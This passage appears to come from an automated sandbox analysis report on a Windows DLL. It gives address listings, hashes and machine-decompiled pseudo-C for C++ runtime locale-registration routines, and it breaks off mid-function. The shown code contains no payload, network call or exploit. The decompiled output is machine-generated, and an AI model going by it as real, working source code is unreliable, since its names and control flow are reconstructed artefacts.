0x6dd1f9cd
0x6dd1f9d9
0x6dd1f987
0x6dd1f987
0x6dd1f989
0x6dd1f98f
0x6dd1f995
0x6dd1f99d
0x6dd1f9a0
0x6dd1f9dd
0x6dd1f9eb
0x6dd1f9f0
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa27
0x6dd1fa29
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
0x6dd1fa2f
0x6dd1f9a2
0x6dd1f9a2
0x6dd1f9a5
0x6dd1f9a9
0x6dd1f9ad
0x6dd1f9ba
0x6dd1f9c2
0x6dd1f9c4
0x00000000
0x6dd1f9c4
0x6dd1f98b
0x6dd1f98b
0x00000000
0x6dd1f98b
0x6dd1f989
0x6dd1f8fc
0x6dd1f8fc
0x6dd1f8ff
0x6dd1f903
0x6dd1f907
0x6dd1f914
0x6dd1f91c
0x6dd1f91e
0x00000000
0x6dd1f91e
0x6dd1f8e5
0x6dd1f8e5
0x00000000
0x6dd1f8e5
0x6dd1f8e3
0x6dd1f856
0x6dd1f856
0x6dd1f859
0x6dd1f85d
0x6dd1f861
0x6dd1f86e
0x6dd1f876
0x6dd1f878
0x00000000
0x6dd1f878
0x6dd1f83f
0x6dd1f83f
0x00000000
0x6dd1f83f
0x6dd1f83d
0x6dd1f7b0
0x6dd1f7b0
0x6dd1f7b3
0x6dd1f7b7
0x6dd1f7bb
0x6dd1f7c8
0x6dd1f7d0
0x6dd1f7d2
0x00000000
0x6dd1f7d2
0x6dd1f799
0x6dd1f799
0x00000000
0x6dd1f799
0x6dd1f797
0x6dd1f70a
0x6dd1f70a
0x6dd1f70d
0x6dd1f711
0x6dd1f715
0x6dd1f722
0x6dd1f72a
0x6dd1f72c
0x00000000
0x6dd1f72c
0x6dd1f6f3
0x6dd1f6f3
0x00000000
0x6dd1f6f3
0x6dd1f6f1
0x6dd1f664
0x6dd1f664
0x6dd1f667
0x6dd1f66b
0x6dd1f66f
0x6dd1f67c
0x6dd1f684
0x6dd1f686
0x00000000
0x6dd1f686
0x6dd1f64d
0x6dd1f64d
0x00000000
0x6dd1f64d
0x6dd1f64b
0x6dd1f5be
0x6dd1f5be
0x6dd1f5c1
0x6dd1f5c5
0x6dd1f5c9
0x6dd1f5d6
0x6dd1f5de
0x6dd1f5e0
0x00000000
0x6dd1f5e0
0x6dd1f5a7
0x6dd1f5a7
0x00000000
0x6dd1f5a7
0x6dd1f5a5
0x6dd1f518
0x6dd1f518
0x6dd1f51b
0x6dd1f51f
0x6dd1f523
0x6dd1f530
0x6dd1f538
0x6dd1f53a
0x00000000
0x6dd1f53a
0x6dd1f501
0x6dd1f501
0x00000000
0x6dd1f501
0x6dd1f4ff
0x6dd1f472
0x6dd1f472
0x6dd1f475
0x6dd1f479
0x6dd1f47d
0x6dd1f48a
0x6dd1f492
0x6dd1f494
0x00000000
0x6dd1f494
0x6dd1f45b
0x6dd1f45b
0x00000000
0x6dd1f45b
0x6dd1f459
0x6dd1f3cc
0x6dd1f3cc
0x6dd1f3cf
0x6dd1f3d3
0x6dd1f3d7
0x6dd1f3e4
0x6dd1f3ec
0x6dd1f3ee
0x00000000
0x6dd1f3ee
0x6dd1f3b5
0x6dd1f3b5
0x00000000
0x6dd1f3b5
0x6dd1f3b3

APIs

__EH_prolog3.LIBCMT ref: 6DD1F37C
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F386
int.LIBCPMT ref: 6DD1F39D

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1F3D7
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F3F7
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F415

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 35cf61e31b243e5359299a8e87571b22d3d7eae56a762840ffa353ffba1110cc
Instruction ID: d874b6b888ecc53b211631424b92df8b10825e8505f787ddaa269fa26bb54276
Opcode Fuzzy Hash: 35cf61e31b243e5359299a8e87571b22d3d7eae56a762840ffa353ffba1110cc
Instruction Fuzzy Hash: 78119E7290C529DBCF01FBA8DC50AFDB774EF85324F264049F610A7291DB7499068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2BB30, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6DD2BB30(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t41;
				signed int _t42;
				void* _t54;
				signed int _t93;
				signed int _t103;
				signed int _t105;
				signed int _t106;
				signed int _t107;
				void* _t110;

				_t79 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t110 - 0x14, 0);
				_t105 =  *0x6ddd6e40; // 0x0
				 *(_t110 - 4) =  *(_t110 - 4) & 0x00000000;
				 *(_t110 - 0x10) = _t105;
				_t41 = E6DCF161C(0x6ddd6e20);
				_t82 =  *((intOrPtr*)(_t110 + 8));
				_t42 = E6DCF171B( *((intOrPtr*)(_t110 + 8)), _t41);
				_t102 = _t42;
				if(_t42 != 0) {
					L5:
					E6DD166BA(_t110 - 0x14);
					return E6DD30075(_t102);
				} else {
					if(_t105 == 0) {
						_push( *((intOrPtr*)(_t110 + 8)));
						_push(_t110 - 0x10);
						__eflags = E6DD2C229(__ebx, _t82, __edx, _t102, _t105) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t110 - 0x20);
							E6DD33D74(_t110 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t102, _t105, 0x14);
							E6DD16653(_t110 - 0x14, 0);
							_t106 =  *0x6ddd6e44; // 0x0
							 *(_t110 - 4) =  *(_t110 - 4) & 0x00000000;
							 *(_t110 - 0x10) = _t106;
							_t54 = E6DCF161C(0x6ddd6e24);
							_t89 =  *((intOrPtr*)(_t110 + 8));
							_t103 = E6DCF171B( *((intOrPtr*)(_t110 + 8)), _t54);
							__eflags = _t103;
							if(_t103 != 0) {
								L12:
								E6DD166BA(_t110 - 0x14);
								return E6DD30075(_t103);
							} else {
								__eflags = _t106;
								if(_t106 == 0) {
									_push( *((intOrPtr*)(_t110 + 8)));
									_push(_t110 - 0x10);
									__eflags = E6DD2C295(__ebx, _t89, __edx, _t103, _t106) - 0xffffffff;
									if(__eflags == 0) {
										_t93 = _t110 - 0x20;
										E6DCF1438(_t93);
										E6DD33D74(_t110 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd7851f, _t79, _t103, _t106, 4);
										_t107 = _t93;
										 *(_t110 - 0x10) = _t107;
										 *((intOrPtr*)(_t107 + 4)) =  *((intOrPtr*)(_t110 + 0xc));
										_push( *((intOrPtr*)(_t110 + 0x14)));
										_t35 = _t110 - 4;
										 *_t35 =  *(_t110 - 4) & 0x00000000;
										__eflags =  *_t35;
										 *_t107 = 0x6dd7c414;
										 *((char*)(_t107 + 0x28)) =  *((intOrPtr*)(_t110 + 0x10));
										E6DD2D028(_t79, _t93, __edx, _t103, _t107,  *_t35);
										return E6DD30075(_t107,  *((intOrPtr*)(_t110 + 8)));
									} else {
										_t103 =  *(_t110 - 0x10);
										 *(_t110 - 0x10) = _t103;
										 *(_t110 - 4) = 1;
										E6DD16FD3(__eflags, _t103);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t103 + 4))))();
										 *0x6ddd6e44 = _t103;
										goto L12;
									}
								} else {
									_t103 = _t106;
									goto L12;
								}
							}
						} else {
							_t102 =  *(_t110 - 0x10);
							 *(_t110 - 0x10) = _t102;
							 *(_t110 - 4) = 1;
							E6DD16FD3(__eflags, _t102);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t102 + 4))))();
							 *0x6ddd6e40 = _t102;
							goto L5;
						}
					} else {
						_t102 = _t105;
						goto L5;
					}
				}
			}

0x6dd2bb30
0x6dd2bb37
0x6dd2bb41
0x6dd2bb46
0x6dd2bb51
0x6dd2bb55
0x6dd2bb58
0x6dd2bb5d
0x6dd2bb61
0x6dd2bb66
0x6dd2bb6a
0x6dd2bbaf
0x6dd2bbb2
0x6dd2bbbe
0x6dd2bb6c
0x6dd2bb6e
0x6dd2bb74
0x6dd2bb7a
0x6dd2bb82
0x6dd2bb85
0x6dd2bbc2
0x6dd2bbd0
0x6dd2bbd5
0x6dd2bbdd
0x6dd2bbe7
0x6dd2bbec
0x6dd2bbf7
0x6dd2bbfb
0x6dd2bbfe
0x6dd2bc03
0x6dd2bc0c
0x6dd2bc0e
0x6dd2bc10
0x6dd2bc55
0x6dd2bc58
0x6dd2bc64
0x6dd2bc12
0x6dd2bc12
0x6dd2bc14
0x6dd2bc1a
0x6dd2bc20
0x6dd2bc28
0x6dd2bc2b
0x6dd2bc65
0x6dd2bc68
0x6dd2bc76
0x6dd2bc7b
0x6dd2bc83
0x6dd2bc88
0x6dd2bc8a
0x6dd2bc90
0x6dd2bc93
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bca0
0x6dd2bca6
0x6dd2bca9
0x6dd2bcb5
0x6dd2bc2d
0x6dd2bc2d
0x6dd2bc30
0x6dd2bc34
0x6dd2bc38
0x6dd2bc45
0x6dd2bc4d
0x6dd2bc4f
0x00000000
0x6dd2bc4f
0x6dd2bc16
0x6dd2bc16
0x00000000
0x6dd2bc16
0x6dd2bc14
0x6dd2bb87
0x6dd2bb87
0x6dd2bb8a
0x6dd2bb8e
0x6dd2bb92
0x6dd2bb9f
0x6dd2bba7
0x6dd2bba9
0x00000000
0x6dd2bba9
0x6dd2bb70
0x6dd2bb70
0x00000000
0x6dd2bb70
0x6dd2bb6e

APIs

__EH_prolog3.LIBCMT ref: 6DD2BB37
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2BB41
int.LIBCPMT ref: 6DD2BB58

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD2BB92
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2BBB2
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2BBD0

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: aa0f57c60203912a795bdadc8d593b32598dbbe6f70ba52ae15447ced74d9cbb
Instruction ID: f36f5f46d86b1e6fdf4c785997acdd8c291b7c5529d5eecc87d47a091dcf81f1
Opcode Fuzzy Hash: aa0f57c60203912a795bdadc8d593b32598dbbe6f70ba52ae15447ced74d9cbb
Instruction Fuzzy Hash: CC119E72908129CBCF01FFA8CC44AEEB775EF45328F164149F610A7294DBB4AA018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1FB3D, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6DD1FB3D(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t55;
				signed int _t56;
				void* _t68;
				void* _t81;
				signed int _t131;
				signed int _t144;
				signed int _t145;
				signed int _t147;
				signed int _t148;
				signed int _t149;
				signed int _t150;
				void* _t154;

				_t141 = __edx;
				_t110 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t154 - 0x14, 0);
				_t147 =  *0x6ddd6dcc; // 0x0
				 *(_t154 - 4) =  *(_t154 - 4) & 0x00000000;
				 *(_t154 - 0x10) = _t147;
				_t55 = E6DCF161C(0x6ddd6d80);
				_t113 =  *((intOrPtr*)(_t154 + 8));
				_t56 = E6DCF171B( *((intOrPtr*)(_t154 + 8)), _t55);
				_t143 = _t56;
				if(_t56 != 0) {
					L5:
					E6DD166BA(_t154 - 0x14);
					return E6DD30075(_t143);
				} else {
					if(_t147 == 0) {
						_push( *((intOrPtr*)(_t154 + 8)));
						_push(_t154 - 0x10);
						__eflags = E6DD21558(__ebx, _t113, __edx, _t143, _t147) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t154 - 0x20);
							E6DD33D74(_t154 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t143, _t147, 0x14);
							E6DD16653(_t154 - 0x14, 0);
							_t148 =  *0x6ddd6e00; // 0x0
							 *(_t154 - 4) =  *(_t154 - 4) & 0x00000000;
							 *(_t154 - 0x10) = _t148;
							_t68 = E6DCF161C(0x6ddd6dac);
							_t120 =  *((intOrPtr*)(_t154 + 8));
							_t144 = E6DCF171B( *((intOrPtr*)(_t154 + 8)), _t68);
							__eflags = _t144;
							if(_t144 != 0) {
								L12:
								E6DD166BA(_t154 - 0x14);
								return E6DD30075(_t144);
							} else {
								__eflags = _t148;
								if(_t148 == 0) {
									_push( *((intOrPtr*)(_t154 + 8)));
									_push(_t154 - 0x10);
									__eflags = E6DD215C4(_t110, _t120, __edx, _t144, _t148) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t154 - 0x20);
										E6DD33D74(_t154 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t110, _t144, _t148, 0x14);
										E6DD16653(_t154 - 0x14, 0);
										_t149 =  *0x6ddd6dd0; // 0x0
										 *(_t154 - 4) =  *(_t154 - 4) & 0x00000000;
										 *(_t154 - 0x10) = _t149;
										_t81 = E6DCF161C(0x6ddd6d60);
										_t127 =  *((intOrPtr*)(_t154 + 8));
										_t145 = E6DCF171B( *((intOrPtr*)(_t154 + 8)), _t81);
										__eflags = _t145;
										if(_t145 != 0) {
											L19:
											E6DD166BA(_t154 - 0x14);
											return E6DD30075(_t145);
										} else {
											__eflags = _t149;
											if(_t149 == 0) {
												_push( *((intOrPtr*)(_t154 + 8)));
												_push(_t154 - 0x10);
												__eflags = E6DD2162A(_t110, _t127, __edx, _t145, _t149) - 0xffffffff;
												if(__eflags == 0) {
													_t131 = _t154 - 0x20;
													E6DCF1438(_t131);
													E6DD33D74(_t154 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd7851f, _t110, _t145, _t149, 4);
													_t150 = _t131;
													 *(_t154 - 0x10) = _t150;
													 *((intOrPtr*)(_t150 + 4)) =  *((intOrPtr*)(_t154 + 0xc));
													_push( *((intOrPtr*)(_t154 + 0x14)));
													_t49 = _t154 - 4;
													 *_t49 =  *(_t154 - 4) & 0x00000000;
													__eflags =  *_t49;
													 *_t150 = 0x6dd7c0c4;
													 *((char*)(_t150 + 0x28)) =  *((intOrPtr*)(_t154 + 0x10));
													E6DD2542F(_t110, _t131, _t141, _t145, _t150,  *_t49);
													return E6DD30075(_t150,  *((intOrPtr*)(_t154 + 8)));
												} else {
													_t145 =  *(_t154 - 0x10);
													 *(_t154 - 0x10) = _t145;
													 *(_t154 - 4) = 1;
													E6DD16FD3(__eflags, _t145);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t145 + 4))))();
													 *0x6ddd6dd0 = _t145;
													goto L19;
												}
											} else {
												_t145 = _t149;
												goto L19;
											}
										}
									} else {
										_t144 =  *(_t154 - 0x10);
										 *(_t154 - 0x10) = _t144;
										 *(_t154 - 4) = 1;
										E6DD16FD3(__eflags, _t144);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t144 + 4))))();
										 *0x6ddd6e00 = _t144;
										goto L12;
									}
								} else {
									_t144 = _t148;
									goto L12;
								}
							}
						} else {
							_t143 =  *(_t154 - 0x10);
							 *(_t154 - 0x10) = _t143;
							 *(_t154 - 4) = 1;
							E6DD16FD3(__eflags, _t143);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t143 + 4))))();
							 *0x6ddd6dcc = _t143;
							goto L5;
						}
					} else {
						_t143 = _t147;
						goto L5;
					}
				}
			}

0x6dd1fb3d
0x6dd1fb3d
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb6e
0x6dd1fb73
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b

APIs

__EH_prolog3.LIBCMT ref: 6DD1FB44
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FB4E
int.LIBCPMT ref: 6DD1FB65

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1FB9F
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FBBF
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FBDD

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: a4a33a284fc45373addcbb67b7866177f5f3e4fdaef4b66a4b42b3b197a4b549
Instruction ID: 046573a8d1730ba6a8dcca93590c0daf546ef297bd805e4f100486b50b887323
Opcode Fuzzy Hash: a4a33a284fc45373addcbb67b7866177f5f3e4fdaef4b66a4b42b3b197a4b549
Instruction Fuzzy Hash: 6711CEB290852D8BCF01FBA4DC50AEEB774EF85324F164449F610A7290DB74AA058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F2CF, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1F2CF(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t237;
				signed int _t238;
				void* _t250;
				void* _t263;
				void* _t276;
				void* _t289;
				void* _t302;
				void* _t315;
				void* _t328;
				void* _t341;
				void* _t354;
				void* _t367;
				void* _t380;
				void* _t393;
				void* _t406;
				void* _t419;
				void* _t432;
				signed int _t625;
				signed int _t677;
				signed int _t678;
				signed int _t679;
				signed int _t680;
				signed int _t681;
				signed int _t682;
				signed int _t683;
				signed int _t684;
				signed int _t685;
				signed int _t686;
				signed int _t687;
				signed int _t688;
				signed int _t689;
				signed int _t690;
				signed int _t691;
				signed int _t693;
				signed int _t694;
				signed int _t695;
				signed int _t696;
				signed int _t697;
				signed int _t698;
				signed int _t699;
				signed int _t700;
				signed int _t701;
				signed int _t702;
				signed int _t703;
				signed int _t704;
				signed int _t705;
				signed int _t706;
				signed int _t707;
				signed int _t708;
				signed int _t709;
				void* _t726;

				_t674 = __edx;
				_t513 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t726 - 0x14, 0);
				_t693 =  *0x6ddd6dec; // 0x0
				 *(_t726 - 4) =  *(_t726 - 4) & 0x00000000;
				 *(_t726 - 0x10) = _t693;
				_t237 = E6DCF161C(0x6ddd6d98);
				_t516 =  *((intOrPtr*)(_t726 + 8));
				_t238 = E6DCF171B( *((intOrPtr*)(_t726 + 8)), _t237);
				_t676 = _t238;
				if(_t238 != 0) {
					L5:
					E6DD166BA(_t726 - 0x14);
					return E6DD30075(_t676);
				} else {
					if(_t693 == 0) {
						_push( *((intOrPtr*)(_t726 + 8)));
						_push(_t726 - 0x10);
						__eflags = E6DD20F87(__ebx, _t516, __edx, _t676, _t693) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t726 - 0x20);
							E6DD33D74(_t726 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t676, _t693, 0x14);
							E6DD16653(_t726 - 0x14, 0);
							_t694 =  *0x6ddd6dbc; // 0x0
							 *(_t726 - 4) =  *(_t726 - 4) & 0x00000000;
							 *(_t726 - 0x10) = _t694;
							_t250 = E6DCF161C(0x6ddd6d70);
							_t523 =  *((intOrPtr*)(_t726 + 8));
							_t677 = E6DCF171B( *((intOrPtr*)(_t726 + 8)), _t250);
							__eflags = _t677;
							if(_t677 != 0) {
								L12:
								E6DD166BA(_t726 - 0x14);
								return E6DD30075(_t677);
							} else {
								__eflags = _t694;
								if(_t694 == 0) {
									_push( *((intOrPtr*)(_t726 + 8)));
									_push(_t726 - 0x10);
									__eflags = E6DD20FEF(_t513, _t523, __edx, _t677, _t694) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t726 - 0x20);
										E6DD33D74(_t726 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t513, _t677, _t694, 0x14);
										E6DD16653(_t726 - 0x14, 0);
										_t695 =  *0x6ddd6df0; // 0x0
										 *(_t726 - 4) =  *(_t726 - 4) & 0x00000000;
										 *(_t726 - 0x10) = _t695;
										_t263 = E6DCF161C(0x6ddd6d9c);
										_t530 =  *((intOrPtr*)(_t726 + 8));
										_t678 = E6DCF171B( *((intOrPtr*)(_t726 + 8)), _t263);
										__eflags = _t678;
										if(_t678 != 0) {
											L19:
											E6DD166BA(_t726 - 0x14);
											return E6DD30075(_t678);
										} else {
											__eflags = _t695;
											if(_t695 == 0) {
												_push( *((intOrPtr*)(_t726 + 8)));
												_push(_t726 - 0x10);
												__eflags = E6DD21057(_t513, _t530, __edx, _t678, _t695) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t726 - 0x20);
													E6DD33D74(_t726 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t513, _t678, _t695, 0x14);
													E6DD16653(_t726 - 0x14, 0);
													_t696 =  *0x6ddd6dc0; // 0x0
													 *(_t726 - 4) =  *(_t726 - 4) & 0x00000000;
													 *(_t726 - 0x10) = _t696;
